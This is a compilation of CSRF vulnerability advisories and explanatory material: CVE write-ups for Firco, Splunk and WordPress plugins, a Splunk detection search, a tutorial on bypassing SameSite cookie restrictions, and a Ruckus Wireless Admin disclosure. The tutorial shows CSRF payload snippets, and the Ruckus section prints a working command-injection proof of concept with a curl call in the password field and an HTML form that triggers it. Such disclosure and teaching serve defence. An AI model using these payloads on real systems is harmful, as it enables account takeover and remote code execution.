LexisNexis Firco Compliance Link 3.7 allows CSRF.

Firco Compliance Link - Version 3.7 - Insufficient CSRF Protection

\===============================================================================

Identifiers

\-------------------------------------------------

CVE-2022-29557

Vendor

\-------------------------------------------------

Lexis Nexis (https://risk.lexisnexis.com/)

Product

\-------------------------------------------------

Firco Compliance Link

Affected versions

\-------------------------------------------------

Firco Compliance Link - Version 3.7

Credit

\-------------------------------------------------

Thomas Caesar (@Q2Flc2Fy) / Lufthansa Industry Solutions (@LHIND\_DLH)

Vulnerability summary

\-------------------------------------------------

Firco Compliance Link - Version 3.7 has insufficient CSRF Protection. Only in POST requests are sufficient CSRF protection mechanisms enforced. Some GET requests are also worth protecting.

Technical details

\------------------------------------------------

An attacker can forge a request to delete users and then trick any user with a valid session to perform this request.

Proof of concept

\-------------------------------------------------

Withheld

Solution

\-------------------------------------------------

Enable CSRF protection also for GET requests.

Timeline

\-------------------------------------------------

Date | Status

\------------|--------------------

11–MAI-2022 | Reported to vendor

11-AUG-2022 | End of 90 days Full Disclosure Time

14-FEB-2023 | FULL disclosure

CVE-2022-29557: CVE-List/CVE-2022-29557.txt at main · Q2Flc2FySec/CVE-List

In Splunk Enterprise versions below 8.1.13, 8.2.10, and 9.0.4, a cross-site request forgery in the Splunk Secure Gateway (SSG) app in the ‘kvstore_client’ REST endpoint lets a potential attacker update SSG [App Key Value Store (KV store)](https://docs.splunk.com/Documentation/Splunk/latest/Admin/AboutKVstore) collections using an HTTP GET request. SSG is a Splunk-built app that comes with Splunk Enterprise. The vulnerability affects instances with SSG and Splunk Web enabled.

Try in Splunk Security Cloud

**Description**

In Splunk Enterprise versions below 8.1.13, 8.2.10, and 9.0.4, a cross-site request forgery in the Splunk Secure Gateway (SSG) app in the kvstore\_client endpoint allows for updating SSG KV store collections via a GET request. SSG is a Splunk Built app included by default with Splunk Enterprise. The vulnerability affects instances with SSG and Splunk Web enabled. This hunting search provides information on affected server specific method and post data that may reveal exploitation of this vulnerability.

*   **Type**: TTP
*   **Product**: Splunk Enterprise, Splunk Enterprise Security, Splunk Cloud
    
*   **Last Updated**: 2023-02-14
*   **Author**: Rod Soto
*   **ID**: 4742d5f7-ce00-45ce-9c79-5e98b43b4410

**Annotations**ATT&CK

**ATT&CK**

ID

Technique

Tactic

T1189

Drive-by Compromise

Initial Access

Kill Chain Phase

*   Exploitation

NIST

*   DE.CM

CIS20

*   CIS 3
*   CIS 5
*   CIS 16

CVE**Search**

    
    1
    2
    3
    
    `splunkda` uri_path="/en-US/splunkd/__raw/services/ssg/kvstore_client" method="GET" delete_field_value="spacebridge_server" status="200"  
    | table  splunk_server status uri delete_field_value method post_data  
    | `splunk_csrf_in_the_ssg_kvstore_client_endpoint_filter`
    
    

**Macros**

The SPL above uses the following Macros:

*   splunkda

>  **splunk\_csrf\_in\_the\_ssg\_kvstore\_client\_endpoint\_filter** is a empty macro by default. It allows the user to filter out any results (false positives) without editing the SPL.

**Required fields**

List of fields required to use this analytic.

*   splunk\_server
*   status
*   uri
*   delete\_field\_value
*   method
*   post\_data

**How To Implement**

Requires access to internal index.

**Known False Positives**

This hunting search only applies to the affected versions and setup mentioned in the description of this search, it does not extract payload so it requires manual investigation after executing search. This search will produce false positives.

**Associated Analytic Story**

*   Splunk Vulnerabilities

**RBA**

Risk Score

Impact

Confidence

Message

25.0

50

50

Potential CSRF exploitation attempt from $host$

>  The Risk Score is calculated by the following formula: Risk Score = (Impact \* Confidence/100). Initial Confidence and Impact is set by the analytic author.

**Reference**

*   https://www.splunk.com/en\_us/product-security.html

**Test Dataset**

Replay any dataset to Splunk Enterprise by using our replay.py tool or the UI. Alternatively you can replay a dataset into a Splunk Attack Range

*   https://media.githubusercontent.com/media/splunk/attack\_data/master/datasets/attack\_techniques/T1189/splunk/splunk\_csrf\_in\_the\_ssg\_kvstore\_client\_endpoint\_data.log

_source_ | _version_: **1**

CVE-2023-22942: Splunk csrf in the ssg kvstore client endpoint

Cross-Site Request Forgery (CSRF) vulnerability in ShapedPlugin WP Tabs – Responsive Tabs Plugin for WordPress plugin <= 2.1.14 versions.

**Solution**

Update the WordPress WP Tabs plugin to the latest available version (at least 2.1.15).

Lana Codes discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress WP Tabs Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 2.1.15.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-25065: WordPress WP Tabs – Responsive Tabs Plugin for WordPress plugin <= 2.1.14 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Photon WP Material Design Icons for Page Builders plugin <= 1.4.2 versions.

**Solution**

Update the WordPress Material Design Icons for Page Builders plugin to the latest available version (at least 1.4.3).

Lana Codes discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Material Design Icons for Page Builders Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 1.4.3.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-24382: WordPress Material Design Icons for Page Builders plugin <= 1.4.2 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in ExpressTech Quiz And Survey Master – Best Quiz, Exam and Survey Plugin for WordPress plugin <= 8.0.7 versions.

**Solution**

Update the WordPress Quiz And Survey Master plugin to the latest available version (at least 8.0.8).

Oliver K. discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Quiz And Survey Master Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 8.0.8.

**19 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-46862: WordPress Quiz And Survey Master plugin <= 8.0.7 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Ecwid Ecommerce Ecwid Ecommerce Shopping Cart plugin <= 6.11.3 versions.

**Solution**

Update the WordPress Ecwid Shopping Cart plugin to the latest available version (at least 6.11.4).

Lana Codes discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Ecwid Shopping Cart Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 6.11.4.

**2 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-24377: WordPress Ecwid Ecommerce Shopping Cart plugin <= 6.11.3 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Orchestrated Corona Virus (COVID-19) Banner & Live Data plugin <= 1.7.0.6 versions.

**Solution**

No patched version is available. No reply from the vendor.

ptsfence discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Corona Virus (COVID-19) Banner & Live Data Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-43469: WordPress Corona Virus (COVID-19) Banner & Live Data plugin <= 1.7.0.6 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in FolioVision FV Flowplayer Video Player plugin <= 7.5.30.7212 versions.

**Solution**

Update the WordPress FV Flowplayer Video Player plugin to the latest available version (at least 7.5.31.7212).

Cat discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress FV Flowplayer Video Player Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 7.5.31.7212.

**10 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-25066: WordPress FV Flowplayer Video Player plugin <= 7.5.30.7212 - Cross Site Request Forgery (CSRF) - Patchstack

An improper SameSite Attribute vulnerability in pimCore v10.5.15 allows attackers to execute arbitrary code.

SameSite is a browser security mechanism that determines when a website's cookies are included in requests originating from other websites. SameSite cookie restrictions provide partial protection against a variety of cross-site attacks, including CSRF, cross-site leaks, and some CORS exploits.

Since 2021, Chrome applies Lax SameSite restrictions by default if the website that issues the cookie doesn't explicitly set its own restriction level. This is a proposed standard, and we expect other major browsers to adopt this behavior in the future. As a result, it's essential to have solid grasp of how these restrictions work, as well as how they can potentially be bypassed, in order to thoroughly test for cross-site attack vectors.

In this section, we'll first cover how the SameSite mechanism works and clarify some of the related terminology. We'll then look at some of the most common ways you may be able to bypass these restrictions, enabling CSRF and other cross-site attacks on websites that may initially appear secure.

**What is a site in the context of SameSite cookies?**

In the context of SameSite cookie restrictions, a site is defined as the top-level domain (TLD), usually something like .com or .net, plus one additional level of the domain name. This is often referred to as the TLD+1.

When determining whether a request is same-site or not, the URL scheme is also taken into consideration. This means that a link from http://app.example.com to https://app.example.com is treated as cross-site by most browsers.

**Note**

You may come across the term "effective top-level domain" (eTLD). This is just a way of accounting for the reserved multipart suffixes that are treated as top-level domains in practice, such as .co.uk.

**What's the difference between a site and an origin?**

The difference between a site and an origin is their scope; a site encompasses multiple domain names, whereas an origin only includes one. Although they're closely related, it's important not to use the terms interchangeably as conflating the two can have serious security implications.

Two URLs are considered to have the same origin if they share the exact same scheme, domain name, and port. Although note that the port is often inferred from the scheme.

As you can see from this example, the term "site" is much less specific as it only accounts for the scheme and last part of the domain name. Crucially, this means that a cross-origin request can still be same-site, but not the other way around.

**Request from**

**Request to**

**Same-site?**

**Same-origin?**

https://example.com

https://example.com

Yes

Yes

https://app.example.com

https://intranet.example.com

Yes

No: mismatched domain name

https://example.com

https://example.com:8080

Yes

No: mismatched port

https://example.com

https://example.co.uk

No: mismatched eTLD

No: mismatched domain name

https://example.com

http://example.com

No: mismatched scheme

No: mismatched scheme

This is an important distinction as it means that any vulnerability enabling arbitrary JavaScript execution can be abused to bypass site-based defenses on other domains belonging to the same site. We'll see an example of this in one of the labs later.

**How does SameSite work?**

Before the SameSite mechanism was introduced, browsers sent cookies in every request to the domain that issued them, even if the request was triggered by an unrelated third-party website. SameSite works by enabling browsers and website owners to limit which cross-site requests, if any, should include specific cookies. This can help to reduce users' exposure to CSRF attacks, which induce the victim's browser to issue a request that triggers a harmful action on the vulnerable website. As these requests typically require a cookie associated with the victim's authenticated session, the attack will fail if the browser doesn't include this.

All major browsers currently support the following SameSite restriction levels:

*   Strict
*   Lax
*   None

Developers can manually configure a restriction level for each cookie they set, giving them more control over when these cookies are used. To do this, they just have to include the SameSite attribute in the Set-Cookie response header, along with their preferred value:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

Although this offers some protection against CSRF attacks, none of these restrictions provide guaranteed immunity, as we'll demonstrate using deliberately vulnerable, interactive labs later in this section.

**Note**

If the website issuing the cookie doesn't explicitly set a SameSite attribute, Chrome automatically applies Lax restrictions by default. This means that the cookie is only sent in cross-site requests that meet specific criteria, even though the developers never configured this behavior. As this is a proposed new standard, we expect other major browsers to adopt this behavior in future.

**Strict**

If a cookie is set with the SameSite=Strict attribute, browsers will not send it in any cross-site requests. In simple terms, this means that if the target site for the request does not match the site currently shown in the browser's address bar, it will not include the cookie.

This is recommended when setting cookies that enable the bearer to modify data or perform other sensitive actions, such as accessing specific pages that are only available to authenticated users.

Although this is the most secure option, it can negatively impact the user experience in cases where cross-site functionality is desirable.

**Labs**

*   LAB Bypassing SameSite Strict restrictions using on-site gadgets
*   LAB Bypassing SameSite Strict restrictions via vulnerable sibling domains

**Lax**

Lax SameSite restrictions mean that browsers will send the cookie in cross-site requests, but only if both of the following conditions are met:

*   The request uses the GET method.
    
*   The request resulted from a top-level navigation by the user, such as clicking on a link.
    

This means that the cookie is not included in cross-site POST requests, for example. As POST requests are generally used to perform actions that modify data or state (at least according to best practice), they are much more likely to be the target of CSRF attacks.

Likewise, the cookie is not included in background requests, such as those initiated by scripts, iframes, or references to images and other resources.

**Labs**

*   LAB Bypassing SameSite Lax restrictions using GET requests
*   LAB Bypassing SameSite Lax restrictions with newly issued cookies

**None**

If a cookie is set with the SameSite=None attribute, this effectively disables SameSite restrictions altogether, regardless of the browser. As a result, browsers will send this cookie in all requests to the site that issued it, even those that were triggered by completely unrelated third-party sites.

With the exception of Chrome, this is the default behavior used by major browsers if no SameSite attribute is provided when setting the cookie.

There are legitimate reasons for disabling SameSite, such as when the cookie is intended to be used from a third-party context and doesn't grant the bearer access to any sensitive data or functionality. Tracking cookies are a typical example.

If you encounter a cookie set with SameSite=None or with no explicit restrictions, it's worth investigating whether it's of any use. When the "Lax-by-default" behavior was first adopted by Chrome, this had the side-effect of breaking a lot of existing web functionality. As a quick workaround, some websites have opted to simply disable SameSite restrictions on all cookies, including potentially sensitive ones.

When setting a cookie with SameSite=None, the website must also include the Secure attribute, which ensures that the cookie is only sent in encrypted messages over HTTPS. Otherwise, browsers will reject the cookie and it won't be set.

Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure

**Bypassing SameSite Lax restrictions using GET requests**

In practice, servers aren't always fussy about whether they receive a GET or POST request to a given endpoint, even those that are expecting a form submission. If they also use Lax restrictions for their session cookies, either explicitly or due to the browser default, you may still be able to perform a CSRF attack by eliciting a GET request from the victim's browser.

As long as the request involves a top-level navigation, the browser will still include the victim's session cookie. The following is one of the simplest approaches to launching such an attack:

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

Even if an ordinary GET request isn't allowed, some frameworks provide ways of overriding the method specified in the request line. For example, Symfony supports the _method parameter in forms, which takes precedence over the normal method for routing purposes:

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

Other frameworks support a variety of similar parameters.

**Bypassing SameSite restrictions using on-site gadgets**

If a cookie is set with the SameSite=Strict attribute, browsers won't include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.

One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters. For some examples, see our materials on DOM-based open redirection.

As far as browsers are concerned, these client-side redirects aren't really redirects at all; the resulting request is just treated as an ordinary, standalone request. Most importantly, this is a same-site request and, as such, will include all cookies related to the site, regardless of any restrictions that are in place.

If you can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.

Note that the equivalent attack is not possible with server-side redirects. In this case, browsers recognize that the request to follow the redirect resulted from a cross-site request initially, so they still apply the appropriate cookie restrictions.

**Bypassing SameSite restrictions via vulnerable sibling domains**

Whether you're testing someone else's website or trying to secure your own, it's essential to keep in mind that a request can still be same-site even if it's issued cross-origin.

Make sure you thoroughly audit all of the available attack surface, including any sibling domains. In particular, vulnerabilities that enable you to elicit an arbitrary secondary request, such as XSS, can compromise site-based defenses completely, exposing all of the site's domains to cross-site attacks.

In addition to classic CSRF, don't forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake. For more details, see our topic on WebSocket vulnerabilities.

**Bypassing SameSite Lax restrictions with newly issued cookies**

Cookies with Lax SameSite restrictions aren't normally sent in any cross-site POST requests, but there are some exceptions.

As mentioned earlier, if a website doesn't include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn't actually enforce these restrictions for the first 120 seconds on top-level POST requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.

**Note**

This two-minute window does not apply to cookies that were explicitly set with the SameSite=Lax attribute.

It's somewhat impractical to try timing the attack to fall within this short window. On the other hand, if you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack. For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn't necessarily know whether the user is still logged in to the target site.

To trigger the cookie refresh without the victim having to manually log in again, you need to use a top-level navigation, which ensures that the cookies associated with their current OAuth session are included. This poses an additional challenge because you then need to redirect the user back to your site so that you can launch the CSRF attack.

Alternatively, you can trigger the cookie refresh from a new tab so the browser doesn't leave the page before you're able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless they're opened via a manual interaction. For example, the following popup will be blocked by the browser by default:

window.open('https://vulnerable-website.com/login/sso');

To get around this, you can wrap the statement in an onclick event handler as follows:

window.onclick = () => {
    window.open('https://vulnerable-website.com/login/sso');
}

This way, the window.open() method is only invoked when the user clicks somewhere on the page.

CVE-2023-25240: Bypassing SameSite cookie restrictions | Web Security Academy

Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request, as demonstrated by a /forms/doLogin?login_username=admin&password=password$(curl substring.

Ruckus Wireless Admin suffers from several serious web application weaknesses which allow for Remote Code Execution(RCE), Server-Side Request Forgert (SSRF), Cross-Site Request Forgery (CSRF), and other conditions. This can result in total compromise of the affected devices.

In this public disclosure, Unauthenticated RCE & CSRF vectors are disclosed. Ruckus acknowledged the issue as “known”, however, no public references or CVEs are publicly available or shared.

_**Other conditions are present and will be disclosed at a future date.**_

Date of Initial Disclosure to Vendor – Dec 13th, 2022.  
Discoverer – Ken Pyle, CYBIR.

Ruckus Wireless Admin – Login Portal

  
The following PoC Code snippets allows for RCE / CSRF on Ruckus Wireless Admin (10.4 and earlier):

**_Proof of Concept – Remote Code Execution (CURL)_**

GET /forms/doLogin?login\_username=admin&password=password$(curl%20192.168.1.1)&x=0&y=0

_CURL Command to Launch Command (CURL):_

curl -i -s -k -X $’GET’ \\  
\-H $’Host: CYBIRPOC’ -H $’Origin: https://CYBIRPOC’ -H $’Referer: https://CYBIRPOC/login.asp’ -H $’Upgrade-Insecure-Requests: 1′ -H $’Sec-Fetch-Dest: document’ -H $’Sec-Fetch-Mode: navigate’ -H $’Sec-Fetch-Site: same-origin’ -H $’Sec-Fetch-User: ?1′ -H $’Te: trailers’ -H $’Connection: close’ \\  
$’https://CYBIRPOC/forms/doLogin?login\_username=admin&password=password$(curl%20192.168.1.1)&x=0&y=0′

_**CSRF – PoC Code Snippet**_

In this HTML code snippet, the attacker creates a CROSS-SITE REQUEST FORGERY (CSRF) triggering page:

<form action=”https://target/forms/doLogin”> <input type=”hidden” name=”login\_username” value=”admin” /> <input type=”hidden” name=”password” value=”password$(curl 192.168.1.1)” /> <input type=”hidden” name=”x” value=”0″ /> <input type=”hidden” name=”y” value=”0″ /> <input type=”submit” value=”Submit request” /> </form>

Using this code, an attacker can stage exploit code, exploit the CSRF condition and execute remote code on the target. Seen here, the CSRF/ RCE is triggered by the attacker:

CVE-2023-25717: Proof of Concept - Ruckus Wireless Admin (=<10.4 - Unauthenticated Remote Code Execution / CSRF / SSRF) - CYBIR - Cyber Security, Incident Response, & Digital Forensics

Tag

#csrf